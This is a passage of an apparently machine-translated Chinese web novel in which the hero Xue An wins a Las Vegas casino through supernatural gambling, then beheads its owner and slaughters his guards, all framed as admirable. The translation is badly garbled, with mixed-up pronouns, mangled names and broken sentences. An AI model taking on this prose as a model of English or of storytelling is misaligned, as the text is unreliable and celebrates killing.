    Wu Yu''s legs softened, knowing it all!


    For a top veteran like Sophia, it is no doubt that a full dice will lose.


    She was trembling all over, looking at Xue An apologetically.


    Unexpectedly, Xue An just smiled, didn''t mind, and then stretched out his hand at Sophia.


    "please!"


    Sophia almost laughed out loud With her eyes closed, she could throw a point bigger than this.


    Therefore, she nodded with a smile on her face, picked up the sieve cup, shook it gracefully, then gently put the sieve cup down.


    "I''m sorry, sir, I think you might lose!"


    "Oh? Why do you say that?" Xue An said lightly.


    "Because intuition tells me, you know... a woman''s intuition is very accurate!"


    With that, Sophia opened the sieve cup, his face full of confidence and arrogance.


    But the audience was dead silent.


    Sophia was slightly startled, what''s the matter?


    She quickly looked down, and then froze.


    I saw three huge points placed in the sieve cup.


    Xue An smiled slightly, "It seems...women''s intuition is not so accurate!"

 Chapter 443： 4 billion gamble

    Sophia only felt her brain blank, her body trembled uncontrollably, and her face turned pale.


    This is a billion dollars!


    Although Sophia has been in charge of the casino for many years, she has accumulated a lot of wealth.


    But one billion is still a elusive number.


    And Sophia was convinced.


    After his boss knew about this, he would definitely not hesitate to send himself to a small country in Africa to be a public slave girl, using his body in exchange for remuneration to repay the debt.


    Thinking of that terrible scene, Sophia was filled with despair.


    Do not!


    Never lose!


    At this time, the crowd of onlookers also recovered from the shock just now, and then burst into cheers.


    Cai Lanlan and Guo Xiaoliang glanced at each other, and both felt relieved!


    Wu Yu watched this scene dumbfounded.


    how is this possible!


    Wu Yu is well aware of Sophia''s a thousand skills.


    How could she make such a low-level mistake?


    How is this going?


    But anyway, winning is a good thing!


    Wu Yu let out a sigh of relief and secretly thanked the gods and Buddhas in the sky.


    At this moment, Sophia stood up suddenly and stared at Xue An.


    "Did you move your hands and feet?"


    Before Xue An spoke, Cai Lanlan jumped up and shouted: "Everyone has seen it. Mr. Xue hasn''t touched the sieve cup just now. How can he use his hands and feet? Do you use mind?"


    "Yes! Do you want to find an excuse to deny you again?" Guo Xiaoliang said with a sneer.


    The crowd onlookers also began to discuss, but no one believed what Xue An could do.


    After all, he has been sitting far away.


    Sophia didn''t care about the discussion, just stared at Xue An.


    She now finally understands that everything just now is a virtual image. This Chinese man is definitely a top-level master of a thousand arts.


    It''s ridiculous that I just thought I caught a chick!


    Sophia regrets that her intestines are all green, but she still wants to use this method to confuse her vision and try her best to get a chance.


    Xue An didn''t comment when he heard the words. Instead, he peeled a grape in his spare time, threw it into his mouth and chewed slowly.


    Then Xue An laughed.


    "Can''t afford to lose?"


    Sophia''s face was pale, and she gritted her teeth without saying a word.


    "Haha!" Xue An ignored her, but turned to look at Wu Yu, "Did you win?"


    Wu Yu nodded, "I won! One billion!"


    Wu Yu now admires Xue An extremely, because he couldn''t help being happy for him, he was so calm and relaxed.


    On this basis, this man is by no means ordinary.


    Xue An laughed, "One billion... Then I have two billion now!"


    Wu Yu was taken aback, then nodded, "Yes!"


    "That''s good!" Xue An turned to look at Sophia, "Are you interested in having another one? The stakes are two billion!"


    No one in the hall said anything.


    Wu Yu was so angry that he was going to run away.


    How greedy is this man!


    Is it not enough to win a billion?


    Actually want to continue betting!


    Sophia, as if caught the straw, immediately nodded and said: "Okay, I''ll take it!"


    This is her last chance to comeback.


    In fact, she might not be able to come up with these billions, let alone two billions.


    But in order to make a comeback, Sophia decided to fight!


    This time Sophia decided to throw first.


    Sophia has never thrown a dice so solemnly, and it has been a long, long time.


    When the sieve cup was finally put down, she took a deep breath, then slowly lifted the lid.


    Sophia can be sure that when she just put it down, the dice in the sieve cup were definitely three 6s.


    But when she opened the lid, she was instantly dumbfounded.


    There are three huge bright red dots again.


    How is this possible!


    The crowd onlookers cheered.


    Sophia felt cold all over, her eyes turned black, so she didn''t fall to the ground.


    Mike hurriedly stepped forward and said solemnly: "Madam!"


    "Quickly, inform the boss!" Sophia knew that this matter was definitely not hidden, and she could not control it anymore.


    Can only hope that the boss will come quickly.


    "Yes!" Mike glanced at Xue An sullenly, and whispered to Liu Wu, "Look at this guy closely, including those who came with him, you can''t let it go!"


    "Understood!" Liu Wu nodded immediately.


    When Mike was going to invite the big boss, Wu Yu had already finished throwing the dice and opened the sieve cup.


    Three six!


    Spike!


    This result wiped out Sophia''s last gleam of hope. She thumped and sat on the table, dumbfounded.


    Wu Yu let out a sigh of relief, and then came to Xue An with a solemn expression.


    "Mr. Xue, live up to your trust!"


    Xue An smiled, "Thank you!"


    Wu Yu looked at the security guards who were glaring at Xue An in the distance, took a deep breath, leaned over and said in a low voice, "Mr. Xue, this matter has become a big deal now, but now in front of so many people, they pyramid I dare not go back, otherwise they won''t even want to open this casino!"


    "But I''m afraid that after we receive the money, these people will start secretly. So I think that we will get the money in front of everyone later, and then keep the exposure all the way away. Otherwise, we may not even be able to get out of this street. !"


    Xue An looked at Wu Yu with some appreciation. This girl has a clear mind!


    Then he nodded, "Okay, I get it!"


    Wu Yu gritted his teeth and wanted to say something.


    At this moment, a large group of bodyguards swarmed in.


    Then Mike carefully guided in front, followed by a white old man smoking a cigar.


    "It''s Mr. Carnegie!"


    "The big boss is here!"


    Everyone uttered low voices.


    Carnegie walked slowly to the table.


    Sophia stood aside with a face full of shame, "Boss!"


    Carnegie waved her hand and motioned to her not to speak, then put his hands on the edge of the table, staring at Xue An with eagle-like eyes.


    The audience gradually calmed down.


    Everyone who had just made a fuss also became silent.


    After all, in the land of Las Vegas, Carnegie is like an emperor.


    Wu Yu looked pale and backed away a few steps, and his heartbeat almost jumped out of his throat.


    Xue An''s expression was indifferent, sitting there without sadness or joy, ignoring Carnegie''s gaze.


    After a while, Carnegie smiled slightly, "I didn''t expect to see the masters from China today! What a blessing for Sansheng!"


    It''s actually standard Chinese.


    Xue An smiled faintly, "Your Chinese is good!"


    "Thanks! But I don''t know what Mr.''s name is?"


    Xue An shook his head lightly, "My name is not important, what is important is... the current game."


    With that said, Xue An tapped the table lightly and looked at Carnegie in time.


    Sophia''s complexion became paler and paler, and her body trembling was about to fall.


    Carnegie took a cigar and spit it out. Carnegie narrowed his eyes slightly in the smoke.


    "At this point, you can rest assured that the pyramid never fails!"


    With that, a housekeeper behind Carnegie stepped forward and put three cards on the table.


    "This is also a supreme card issued by a Swiss bank, each with one billion! You can check at any time!" Carnegie said lightly.


    Xue An smiled and waved gently, "Trouble Miss Wu!"


    Wu Yu came forward very obediently and took the bank card, and finally calmed down a bit.


    But the next words of Xue An left her completely dead.


    Just listen to Xue An calmly said: "Now I have a total of four billion in funds, are you interested in... do you have another one?"

 Chapter 444： Kill 1 cut

    oom!


    The whole hall is like dropping a huge bomb, setting off a huge wave.


    Everyone looked at Xue An in disbelief.


    This man...what does he want to do?


    Could it be said that he won so much money, is he still not satisfied?


    Carnegie''s expression gradually became gloomy, and there was a faint anger burning in his eyes.


    "People should be greedy, but if their abilities can''t match, then this greed will only cause him endless pain!"


    Xue An smiled faintly, "It sounds reasonable, but it''s still nonsense. I will ask you...Dare you take it?"


    When this sentence came out, Sophia was overjoyed.


    This man is really greedy to the point of stupidity!


    How dare to provoke the boss!


    Doesn''t he know that the boss is the real master in this land?


    But the more you do this, the more beneficial it is for you! Thinking in his heart, Sophia''s face gradually showed a triumphant smile.


    Carnegie nodded gloomily, "Of course I dare to take it! There is no gambling order in this world that the pyramids dare not take!"


    "But the question is what are you betting with me now? According to my estimation, even if your casino is huge, the liquidity is only a billion or so! Now it is in my hands. What are you going to play with me? Put?"


    Xue An''s slender fingers tapped the tabletop lightly, and looked at Carnegie with a smile.


    Carnegie''s complexion became extremely ugly.


    Mike and the others couldn''t help but were about to do it, but they were stopped by Carnegie''s eyes.


    For him, this Chinese man is definitely going to be eliminated, but he can''t stand in the crowd, because it will cause a devastating blow to the casino''s reputation.


    Let''s let you run wild for a while, and then calculate this ledger for you! Carnegie thought bitterly.


    "You are right, I really can''t come up with that much money now, but I can take this entire casino to bet this with you!" Carnegie said solemnly.


    Wu Yu whispered in an almost begging tone at this time: "Don''t be entangled anymore, let alone bet with him, otherwise we won''t be able to leave!"


    Wu Yu knows very well that Carnegie''s so-called betting on the entire casino is completely perfunctory.


    After all, all the staff are Carnegie people, even if Xue An wins, what will happen?


    At the same time she also noticed the strange faces appearing in every corner of the hall.


    These people are obviously new security guards.


    Wu Yu can be sure that if he doesn''t want to get out now, he will die without a place to bury him.


    But Xue An just chuckled, "Miss Wu, don��t be so nervous, I think Mr. Carnegie should be a very honest person! Since he said to take the entire casino and me again, then I will play with him!"


    There was a commotion in the crowd.


    Guo Xiaoliang and Cai Lanlan opened their mouths slightly, looked at each other, and both saw the shock in each other''s eyes.


    Xue An''s current behavior can no longer be described as madness, it is almost like death.


    But Cai Lanlan still moved forward without moving expression, preparing for a while if something went wrong, she would take the shot as soon as possible.


    "What are you playing?" Carnegie said.


    "Whatever you want!"


    At this time Sophia whispered a few words in Carnegie''s ear, and Carnegie said solemnly: "Then play a game of poker! The simplest kind!"


    Xue An nodded, "I am willing to accompany you!"


    Brand new playing cards are here.


    This time it was Carnegie himself playing.


    The oldest and most experienced croupier is the dealer.


    Soon, the cards were washed.


    "Please cut the cards!"


    Carnegie made a quick cut.


    "Miss Wu, please trouble you!" Xue An said with a smile.


    Wu Yu''s hands are trembling, this is a huge bet of four billion dollars.


    After cutting the cards.


    Because it is a set of winners and losers, there is no fancy such as outs, and the cards of both sides are directly dealt.


    Five cards per person.


    After waiting for the cards to be dealt, Carnegie didn''t move, but quietly looked at Xue An on the opposite side, trying to see a clue from the face of this young overly Chinese man.


    But he was disappointed.


    He didn''t even see a trace of fear or anxiety from Xue An''s face, only the indifferent smile.


    What is the identity of this man?


    Carnegie thought to himself.


    Just now, he had already ordered someone to trace the identity of this person.


    There should be results soon.


    Carnegie thought, with a cigar in his mouth, slowly grabbing the card in front of him in his palm.


    Sophia watched nervously.


    This is a matter of her wealth and life, how could she not care about it.


    The first card is unfolded and is a king of spades.


    Sophia''s heart was pounding and she took a peek at the dealer who dealt the cards.


    The gray-haired old man nodded imperceptibly.


    Sophia''s heart then let go.


    This seemingly ordinary old man is in fact the person with the highest thousand skills in the Pyramid Casino, and Sophia is willing to bow down to him.


    Especially he is best at playing cards.


    From this point of view, this time it should be a good ten.


    Carnegie''s hands were actually shaking slightly.


    But when all five cards were revealed, his face showed a trace of pride.


    Then gently place the cards on the table.


    "9, 10, j, q, k! Spades! Royal flush! Sir, you are lost!"


    There was a commotion in the crowd.


    This is a rare extreme brand type!


    At this time, the security guards of the casino gathered around quietly, seemingly afraid that Xue An would run away.


    Xue An shivered with disapproval, Wu Yu smiled, "Miss Wu, it''s better for you to throw the card!"


    Wu Yu has no hope anymore.


    She can be sure that there must be a problem with the dealer who deals the cards, otherwise how could such a royal flush pattern appear?


    She was heartbroken, took the card in her hand, closed her eyes, and suddenly turned it over.


    what!


    Why is there no sound?


    Wu Yu waited for a while to find that there was no sound, and was a little surprised. After waiting, he slowly opened his eyes, and it was Carnegie and the others with their mouths wide open.


    Carnegie didn''t even notice the cigar dropped on the table.


    "To... Supreme Straight Flush!" Sophia murmured as if she had seen a ghost.


    Xue An''s cards are 10, j, q, k, a! Heart card type!


    Supreme straight flush!


    It is also the biggest card in the whole deck kill everything!


    The crowd onlookers did not cheer this time.


    Because they have been numb with shock.


    Wu Yu looked at Xue An even more like a ghost, and seemed to understand something, his face was full of awe.


    Carnegie stood up suddenly, staring at Xue An, sternly: "Boy, are you playing with me?"


    Xue An spread his hand and said lightly: "Everyone has seen it. I have been sitting here in a quiet place, and I haven''t even touched a card. How can I play with you?"


    Carnegie looked at the dealer who dealt the cards.


    The croupier also had a cold sweat on his face at the moment, and shook his head tremblingly, meaning that he had never made any tricks!


    At this time, Xue An smiled slightly, and magically took out the pen and paper, "Mr. Carnegie, I would like to lose the gambling, now your casino belongs to me! Sign the agreement!"

 Chapter 445： Im not convinced

    Carnegie finally broke out!


    Regardless of its reputation or reputation, the big deal is to change the brand again!


    If you sign the agreement now, you will lose a lot!


    Thinking of this, he winked.


    Countless security guards blocked the entire hall.


    The muzzle of the black hole was aimed at Xue An. As long as Carnegie gave an order, they would not hesitate to sift Xue An.


    not good! This Carnegie turned his face!


    Guo Xiaoliang and Cai Lanlan are about to rush forward.


    At this moment, Xue An seemed to be aware of their movements and said without turning his head: "You don''t need to do it!"


    With that, Xue An leaned on the soft leather chair back and looked at Carnegie with interest.


    "What? Are you impatient?"


    Carnegie sneered and said: "I was just wondering why you are so calm, but now I want to understand!"


    "Oh? Why?"


    "Because you are a lunatic at all!" Carnegie grinned and said, ready to do it.


    At this moment, a cell phone ringing came.


    Jinglingling''s cell phone ringing seemed so incompatible with this dead and solemn environment.


    Carnegie stunned slightly, and then saw Mike running forward with a pale face and whispered: "Boss, your call!"


    "What kind of **** call, don''t you see what you are doing now?" Carnegie stopped calling!


    "But you have to answer this call, because it''s... Mr. Longfellow!" Mike said with a trembling voice.


    Longfellow!


    After hearing the name, Carnegie''s complexion also became weird.


    what happened?


    Why did FBI��s big boss Longfellow call himself?


    Carnegie was unsure, but he quickly connected the phone.


    "Mr. Longfellow, hello! May I ask what''s the matter?" Carnegie''s attitude towards Longfellow was respectful.


    Longfellow on the other end of the phone was shaking slightly at the moment. After hearing Carnegie''s words, he took a deep breath, "Carnegie, would you send someone to ask someone through my staff?"


    Carnegie was stunned.


    He did inquire about Xue An''s details through a fbi agent he knew well.


    But he didn''t expect this to alarm Longfellow.


    "Yes, Mr. Longfellow, this may be a bit out of compliance, but I will donate a sum of funds to the fbi event later!"


    This is already a rule of the game established by national politics.


    Some less legal actions can be made reasonable and legal through a donation.


    But Longfellow obviously didn''t call him personally because of this.


    At this moment, the cold sweat on Longfellow''s face gradually dripped, "I''ll talk about that later, I just want to ask you, why are you asking this person?"


    "Because... he''s in my casino right now, and I suspect he''s a big deal!" Carnegie said swore.


    Longfellow''s eyes went dark and he almost fainted.


    Carnegie said unclearly at this time: "Mr. Longfellow, do you have any questions? If there is nothing wrong, I''m going to hang up, because this **** guy actually won all my funds. I must Make him look good!"


    Carnegie said murderously and was about to hang up.


    At this moment, I heard a deafening roar from the phone, "Stop!"


    Carnegie was stunned, "What...what''s wrong?"


    In fbi''s high-rise office building, all the busy agents were shocked by the roar from the boss''s office.


    what happened?


    Who made the boss so angry?


    Longfellow stood up at this time and said in a decisive tone: "Carnegie, if you still want to eat dinner tonight, what I said, you must complete it without compromise!"


    After all, Longfellow continued to speak regardless of Carnegie''s answer.


    "The person you want to inquire about is an existence that no one can afford. No matter how much money he wins with you, give it all to him. Don''t have any less, let alone any other ideas! If you do well , With a sincere attitude, I guess you can survive! Otherwise, the President will not be able to save you! Understand?"


    Carnegie heard Longfellow''s words, his face full of disbelief, "But..."


    "Nothing! You **** bastard, if you annoy this murderer, not only will you be finished, you may even have to accompany Las Vegas to finish the game, and even the whole country will have to be implicated by you, you Do you understand?"


    Carnegie''s complexion gradually turned pale, and a rich man at his level could naturally come into contact with many things that ordinary people could not.


    "Mr. Longfellow, you mean..."


    Longfellow said in a deep voice, "Don''t be dissatisfied, because many people have been dissatisfied like you before, such as the Bell family in Sin City, such as the Church of Light..."


    This sentence was like a bolt from the blue, the bombed Carnegie was unsteady, so he didn''t fall to the ground.


    He knew about the Sin City, and he knew what happened to the Guangming Kingdom.


    Then the identity of this man is ready to come out.


    The one who overwhelms all dissatisfaction, the world''s lord!


    As if perceiving Carnegie''s horror, Longfellow sighed softly, and then said in a non-negotiable tone: "Mr. Carnegie, God bless you! But I think God can''t do anything about this man! So! You should do it yourself, but please remember that if you offend him and cause more serious consequences, then even if you die, your family will receive the most severe punishment!"


    Having said that, Longfellow hung up the phone.


    He believed that he had said clearly enough.


    Unless this Carnegie is a fool, he should know how to do it.


    Carnegie''s brain was blank at this time.


    At this time Mike came forward, "Boss, do you want to do it now?"


    Carnegie trembled all over and slapped it suddenly.


    Snapped!


    Mike was blown out by the entire fan, and when he fell to the ground, half of his face was swollen into a pig''s head.


    This slap also stunned everyone.


    what happened?


    Why did he answer the phone? This Carnegie was like a dead son, with despair on his face?


    Sophia also rushed overBoss, what''s wrong? What happened? "


    Carnegie took a deep breath, grabbed Sophia by the hair, and slammed her to the ground. His eyes were blood-red and he said, "You bitch, it''s all because of you. Why don''t you kneel to Mr. Xue? under!"


    Sophia was lying on the ground in an embarrassing manner, where there was still a little bit of elegance, and after hearing Carnegie''s words, her face turned pale.


    After Carnegie answered the phone, his attitude suddenly changed, which showed that the identity of this Chinese man was not what he imagined.


    Your true identity may be a noble one you can''t even imagine!


    She is a very clever woman, and immediately kneeled on the ground properly.


    And this scene confuses everyone.


    Is this Carnegie crazy?


    Only Xue An''s mouth gradually showed a faint smile.

 Chapter 446： Are you qualified to negotiate with me?

    Carnegie took a few steps forward, his face full of humility and flattery, "Mr. Xue, I really don''t know your identity, all this is a misunderstanding!"


    With that said, Carnegie yelled at the scowling security guards: "Hurry up and put the gun away, you bastards, who made you run?"


    The security guards looked at each other, all silently put away the guns in their hands, and stepped aside.


    Then Carnegie took out a pistol from his arms and pulled the trigger at Liu Wu and Mike without hesitation.


    There were two gunshots.


    The two men never dreamed that the big boss would shoot at them. They were caught off guard and only let out a scream and died by drinking a bullet.


    Then Carnegie took a step forward and respectfully said: "Mr. Xue, my people are not respectful to you, I have already dealt with it personally!"


    This shocking reversal made everyone completely confused.


    Why did Carnegie, who was still shouting and screaming, suddenly become so humble? And he personally killed two of his men!


    Xue An didn''t say a word, but watched this scene quietly.


    His fingers tapped the tabletop lightly, and the sound was not loud, but it made Carnegie''s face gradually difficult to look.


    The field gradually became quiet, and everyone''s eyes were focused on Xue An.


    By this time, people have gradually understood.


    This Chinese man played with Carnegie and others with a game mentality from beginning to end.


    And looking at Carnegie''s look of fear now, this man is definitely not an ordinary person.


    Guo Xiaoliang murmured: "Wife, it seems we don''t need to act!"


    Cai Lanlan stared at Xue An''s back, her face changed and she didn''t know what she was thinking.


    At this moment Carnegie''s head was almost buried in his chest, and cold sweat dripped down his cheeks onto the carpet under his feet.


    After three full minutes, Xue Ancai said calmly: "Do you know who I am?"


    "Yes! Mr. Longfellow from fbi just called and told me in person!"


    "Very good! Then let''s talk about our gambling game now!"


    Carnegie shuddered.


    The reason why he acted like that just now was because he wanted to get rid of this matter.


    In his opinion, the reason why Xue An came out was all because he wanted to help his friends get out, and he was not really interested in his own casino.


    Then, as long as he saves his face, he should be fine.


    Therefore, he made a bold move and killed all his two capable men, just to show an attitude to Xue An.


    I have killed even my own men now, what do you want?


    Unexpectedly, Xue An wouldn''t eat him at all.


    "This..." Carnegie was still hesitating.


    Xue An said lightly: "Why? I don''t want to give it?"


    Carnegie trembles, "Of course it doesn''t mean that! It''s just that the handover of this huge casino will take some time...or else, you first leave with these bank cards, and then I will find a lawyer to go through the handover procedure!"


    Carnegie''s meaning is clear.


    You are a passer-by, this casino is in your hands, and you can''t control it!


    Now you have won a full three billion from me, which is almost enough!


    Do you have to forgive and forgive!


    Do you have to kill them all?


    Carnegie''s wishful thinking is very good.


    But he did not expect that Xue An turned his head and smiled at Wu Yu, "I wonder if Miss Wu is willing to become the manager of my company''s casino?"


    Wu Yu gradually rounded his eyes and pointed to his nose, "Me?"


    Xue An nodded.


    "But...!" Wu Yu looked at Carnegie with a sullen expression and hesitated.


    Of course she was tempted.


    If she can really be the manager of a casino, it means that she has risen to the sky one step at a time and has since entered the ranks of middle-class gold-collar workers.


    But is it that simple?


    This Carnegie has run this casino for many years, and the relationship is even more complicated...


    Wu Yu was thinking.


    Xue An smiled, "Just say whether you want it or not!"


    "Of course I do!"


    "That''s good!" Xue An nodded.


    Carnegie couldn''t help it.


    The conversation between Xue An and Wu Yu regarded themselves as nothing.


    He was about to say something.


    Xue An raised his eyebrows slightly.


    A ray of sword light passed by.


    Let his head and body say goodbye directly.


    In the air, Carnegie heard the last words of his life.


    "Want to negotiate with me, but are you qualified to negotiate with me?"


    Carnegie''s body crashed to the ground.


    Provoked the exclamation of countless people.


    Many security guards loyal to Carnegie roared and wanted to do it.


    Xue An didn''t move at all, just waved casually.


    I saw strands of sword lights crisscrossing the room.


    Wherever he went, blood spattered and life died.


    After a while.


    All the security guards who tried to resist were killed on the spot.


    Blood and corpses filled the entire hall.


    Xue An stood up at this time and said lightly: "Now, this casino is yours!"


    After all, Xue An turned and walked towards the gaming area.


    Wherever they passed, the crowd parted their way automatically.


    Even Guo Xiaoliang, who wanted to say hello, was frightened by Xue An''s thunder method, and stood behind the crowd with a pale face.


    Although Cai Lanlan''s face was also pale, her eyes became brighter and brighter.


    When Xue An walked over, Cai Lanlan handed over and said respectfully: "Cai Lanlan, the inheritor of ancient Taiji, has met her husband! Thank you for coming to save my husband!"


    Xue An stopped and smiled slightly, "Do you...know me?"


    Cai Lanlan nodded solemnly, and then whispered: "I also like to watch the martial arts forum!"


    Xue An laughed, then winked at Guo Xiaoliang, "Man, you have a good wife. I wish you happiness in the future!"


    After all, Xue An is gone.


    After he walked away, Guo Xiaoliang asked in a little horror: "Lan Lan, who is this man! Why are you so respectful!"


    "He..." Cai Lanlan pondered for a moment, with a solemn expression on her face, "He is the most respected person in the world, the first person in martial arts!"


    When Guo Xiaoliang heard this, he couldn''t help looking at Xue An''s back with some fascination.


    He saw all the scenes that just happened.


    In the eyes of everyone, it was impossible to reverse the desperate situation, but Xue An broke through and went back to face Carnegie''s excuses.


    Xue An didn''t talk nonsense at all, and killed people when he shot.


    Such a simple and direct solution made Guo Xiaoliang''s heart broken.


    At this time, Xue An returned to the Anyan mother and daughter.


    The three of them didn''t even know what had just happened, and they were still playing the game intensively.


    Especially think about it.


    Motorcycles are already riding in style.


    Seeing Xue An coming back, An Yan was stunned, "What''s the matter? You yelled over there just now?"


    "It''s okay!" Xue An smiled lightly.


    "Ok!"


    As long as her husband doesn''t say anything, An Yan will never ask the bottom line.

 Chapter 447： I won a casino

    The mother and daughter continued to play the game enthusiastically.


    Xue An was watching.


    From time to time, I give pointers to think about riding a motorcycle, or helping Nian Nian hit the moles. It��s a joy to play.


    This scene surprised the middle and high-level managers of the Casino Pyramid.


    The news of Carnegie''s death has spread at a terrifying speed.


    It is intriguing that although a dozen people have died, the Las Vegas Police Department has never been dispatched.


    Even the fbi and other departments ignored this.


    Many people finally understand this abnormal reaction.


    This Chinese man can''t afford the country''s powerful departments.


    As for the other big bosses in Las Vegas, they all remained silent at this time.


    Under this weird atmosphere, the people in these casinos were naturally very worried and all rushed over.


    Unexpectedly, I saw this warm and childlike scene.


    As Xue An��s new casino manager, Wu Yu is naturally at the forefront.


    Seeing Xue An being with his family, Wu Yu didn''t dare to step forward to disturb, so she stood quietly.


    She was standing, and the people in the casino naturally did not dare to move.


    So a very peculiar scene appeared in the gaming hall.


    On one side is a happy family playing games.


    On the other side, all the middle and high levels of the Pyramid Casino are waiting respectfully.


    After a full ten minutes, Xue An raised his eyes and glanced here.


    "what happened?"


    Wu Yu stepped forward, "Mr. Xue, these are all casino managers, and they all want to come and see you!"


    Xue An smiled upon hearing this, "See me?"


    "Yes!"


    At this time, several men walked out from behind Wu Yu, black and white, all of them bowed to Xue An respectfully.


    "Mr. Xue!"


    As soon as they bend over, all the casino staff behind them also bend over.


    "Mr. Xue!"


    Xue An nodded slightly, "Now this casino is given full responsibility to Wu Yu, do you have any comments?"


    "No...no!" The leaders all trembled when they heard the words, and said quickly.


    Jokes, who dares to have an opinion?


    Carnegie''s blood on the floor hasn''t dried yet!


    "Very good! Since you said no, then I will assume that you really don''t have one, but if I find out that someone has a different intention, then..."


    Xue An didn''t finish what he said, but everyone knew what it meant, and many people were shaking with fright.


    In the face of absolute strength, any conspiracy is a joke.


    "Okay, let''s go!" Xue An waved his hand.


    After these people dispersed, An Yan asked in surprise, "Husband, what is going on?"


    Xue An smiled, "It''s nothing, just played a few handily just now, and then won this casino!"


    An Yan nodded, "Oh! That''s it!"


    The words are as calm as water, and there is no feeling at all.


    Wu Yu was extremely excited at this time.


    Think about it yesterday that I was still a tour leader, and today I became the person in charge of this luxurious casino.


    This is just like dreaming.


    But she also knew that all this was because of Xue An.


    So she secretly made up her mind, she must not let down Xue An''s expectations of her.


    But she didn''t even know, Xue An didn''t care about these things at all.


    He just admired Wu Yu''s clear mind, so he gave her a chance.


    Waited until the evening.


    Xue An certainly does not have to go back to the previous hotel.


    The pyramid itself has super luxurious hotels.


    Guo Xiaoliang and his wife, as well as the members of the previous tour group, have also been arranged to live at this moment.


    After all, after a few days of getting along, Xue An felt that these people were pretty good.


    But after this incident, everyone was in awe of Xue An, even Guo Xiaoliang didn''t dare to be as casual as before.


    Xue An just smiled at this, and then said to Guo Xiaoliang: "You have won so many before, it should be based on mathematical calculations!"


    Guo Xiaoguangdian nodded, "Yes!"


    "Well, are you interested in staying and helping Wu Yu manage this casino?"


    "Me?" Guo Xiaoliang pointed to himself.


    "Yeah! Your math skills are good. Staying here can help improve some facilities without preventing you from doing other things!"


    Guo Xiaoliang''s eyes lit up, but he still looked at Cai Lanlan.


    The nature of strict wife control is undoubtedly revealed at this moment.


    "As for your wife, she is most suitable to be the security supervisor of this casino!" Seeing Guo Xiaoliang''s concerns, Xue An said with a smile.


    Cai Lanlan immediately nodded and agreed.


    joke.


    This is what the first person in martial arts said, who would dare not agree?


    What''s more, Cai Lanlan just had a phone call with her home secretly.


    When I heard that Cai Lanlan met Xue An.


    The Patriarch Cai, who was already over a hundred years old, had long since been ignorant of world affairs, and immediately grabbed the phone.


    After inquiring about the process in detail.


    This old man who has been in charge of the Cai family for decades and has experienced countless storms made a decision immediately.


    What Xue An said must be promised.


    Never go against it.


    Must maintain a good relationship with Xue An


    Cai Lanlan understood that Xue An was just like the sun and the moon in the sky for a family of martial arts like the Cai family, unattainable!


    Now that there is an opportunity to approach, it is natural to seize it.


    This may even be a thousand-year opportunity for the Cai family to reach the sky in one step.


    Cai Lanlan and his wife stayed behind, which was a relief to Wu Yu''s urgent need.


    But the things Carnegie left behind are so many things that Wu Yu has to deal with one by one.


    This night is destined to be a sleepless night for many people.


    In the room, Xue An finally coaxed the two little girls to fall asleep.


    Then got up and went to the living room.


    An Yan was playing horror games with a pale face.


    The ghost images flashing on the large TV screen from time to time make An Yan tremble from time to time.


    But even so, An Yan still played tenaciously.


    Xue An could not laugh or cry.


    With An Yan''s current cultivation base, except for ghost kings and other ghost world powers, ordinary ghosts can''t even get close to her.


    It can be said to be a ghost and a god.


    But this does not prevent An Yan from being timid when playing horror games.


    Shook his head Xue An was about to get up.


    An Yan quickly trembled: "Husband, what are you doing?"


    "I''m going to make a call!"


    "to whom?"


    "For Lao Zhao and them, let them send a few people over, otherwise how could Wu Yu alone manage such a big casino?"


    "Then are you playing here? I''m afraid!"


    Xue An: "..."


    As soon as the phone rang, Zhao Xuehui was connected.


    "Oh, today the sun came out from the west, you kid still remember to call me!" Zhao Xuehui joked.


    Xue An also smiled upon hearing this.


    The reason why he likes these brothers the most is that they never become alienated because of the change of their identities.

 Chapter 448： Demon is coming

    "How is the company recently?" Xue An asked.


    "In a word, the situation is not generally good, but very good!"


    Today''s Tianyuan Potion has been sold all over the world, relying on the terrifying gold absorption ability of this potion.


    In just one year, Tianyuan Company has been ranked among the top ten in the world, becoming one of the best business giants.


    Speaking of this, Zhao Xuehui couldn''t help but sigh.


    At the beginning, I was extremely miserable, but who would have thought that in just one year, his net worth would have been ranked among the richest in the country.


    And all this is because of Xue An.


    Xue An smiled at this time, "That''s good! There is something on my side, you send a few people over!"


    "Okay! What''s the matter? Do you want us all over!" Zhao Xuehui immediately stood up in awe.


    He thought Xue An had some trouble over there.


    Xue An smiled, "It''s okay, just won a casino in Las Vegas. There is no one to manage it now. Just send a few people to help deal with it!"


    "Won... a casino?" Zhao Xuehui on the other end of the phone was stunned.


    "Yeah! I played two games freely, and I won!" Xue An said lightly.


    "Okay! I''ll send someone over tomorrow!" Zhao Xuehui was already numb to his brother.


    "Ok!"


    After chatting for a few more words, Xue An hung up the phone, and after a moment of hesitation, he dialed another number.


    This is a small mountain village in the Chinese mountains.


    At this moment, it was almost dusk, but the small mountain village was deadly silent, and roars were heard from inside from time to time.


    The roar was full of sorrow and resentment, which made people shudder upon hearing it.


    But on the small road outside the village.


    An Qing was wearing a field uniform, sitting cross-legged on the roof rack of a military off-road vehicle, listening to the song with headphones on.


    At this moment, the phone vibrated suddenly.


    As soon as An Qing looked at the phone, a bright smile appeared on her face, and she quickly connected the phone.


    "Hey, brother-in-law!"


    Xue An''s voice came from the microphone, "What are you doing?"


    "It''s okay, follow the troops to perform a small task! Where is my sister?"


    "Playing horror games by the side! Listen to..." Xue An said helplessly, and then an An Yan scream came from the phone, as if he saw some horrible picture.


    An Qing laughed, "It''s so boring to play horror games. Turn around and let my sister go out with us, so that I can feel the real and exciting horror every day!"


    As he was talking, there was a violent tremor in the small mountain village, and then an unwilling roar came, and the black energy that had just enveloped the small mountain village gradually dissipated.


    Xue An naturally heard it too, and couldn''t help but frown, "A ghost general about to take shape?"


    "Yes! There have been so many weird things recently!" An Qing said.


    Just as he said, members of the Fire Phoenix walked out of the small mountain village.


    An Qing lifted the phone and said, "The call from your instructor!"


    Cheng Hao and others hurriedly stood up and shouted in unison: "Instructor!"


    Then Sun Ling and other talents screamed, "Instructor, is the honeymoon trip happy?"


    Then An Qing took it back to her ear and said with a grin: "Have you heard it? Ask you if you are happy or not!"


    Xue An smiled helplessly, "These guys!"


    He did nothing to call, just to ask about An Qing''s current situation.


    An Qing lowered her voice at this time, and asked some solemnly: "Brother-in-law, you killed the Bright Church some time ago?"


    "Yes!"


    Because of the particularity of this matter, European countries tried their best to conceal it at the beginning, but it was impossible to conceal it after such a big trouble.


    Naturally, An Qing and others also knew about this, and now they are listening to Xue An personally tell it.


    An Qing couldn''t help but said, "Brother-in-law, you are still great!"


    After the two said a few more words, they hung up.


